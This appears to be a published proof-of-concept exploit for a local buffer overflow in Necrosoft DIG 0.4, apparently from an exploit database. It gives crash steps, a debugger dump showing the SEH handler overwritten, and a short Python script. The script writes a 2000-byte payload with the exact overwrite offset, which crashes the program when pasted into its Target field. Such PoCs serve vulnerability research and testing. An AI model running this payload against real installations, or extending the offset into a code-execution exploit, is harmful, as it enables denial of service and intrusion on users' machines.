Necrosoft DIG 0.4 – Buffer Overflow (PoC) (SEH Overwrite)
# Exploit Title: Necrosoft DIG v0.4 - Denial of Service (PoC) SEH overwritten Crash PoC # Discovery by: Rafael Pedrero # Discovery Date: 2005-01-10 # Vendor Homepage: http://www.nscan.org/?index=dns # Software Link : http://www.nscan.org/?index=dns # Tested Version: 0.4 # Tested on: Windows XP SP3 # Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow # Steps to Produce the Crash: # 1.- Run Necrosoft DIG v0.4 (dig.exe) # 2.- copy content DIG_Crash.txt to clipboard (result from this python script) # 3.- Paste the content into the field: 'Target' # 4.- Click 'TCP lookup' button and you will see a crash. ''' SEH chain of thread 000003CC Address SE handler 00D9FF08 43434343 42424242 *** CORRUPT ENTRY *** EAX 0000000E ECX 000004D2 EDX 000004E0 EBX 00000041 ESP 00D9FACC EBP 0012FB60 ESI 00D9FB20 EDI 009284C5 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA EIP 004036B2 DIG.004036B2 C 0 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 0 SS 0023 32bit 0(FFFFFFFF) Z 0 DS 0023 32bit 0(FFFFFFFF) S 1 FS 003B 32bit 7FFDB000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_SUCCESS (00000000) EFL 00010286 (NO,NB,NE,A,S,PE,L,LE) ST0 empty ST1 empty ST2 empty ST3 empty ST4 empty ST5 empty ST6 empty ST7 empty 3 2 1 0 E S P U O Z D I FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT) FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1 ''' #!/usr/bin/env python junk = "\x41" * 985 crash = junk + "BBBB" + "CCCC" + "\x41" * (2000 - 985 - 4 - 4) print "SEH overwritten Crash, full payload length =",len(crash) f = open ("DIG_Crash.txt", "w") f.write(crash) f.close() |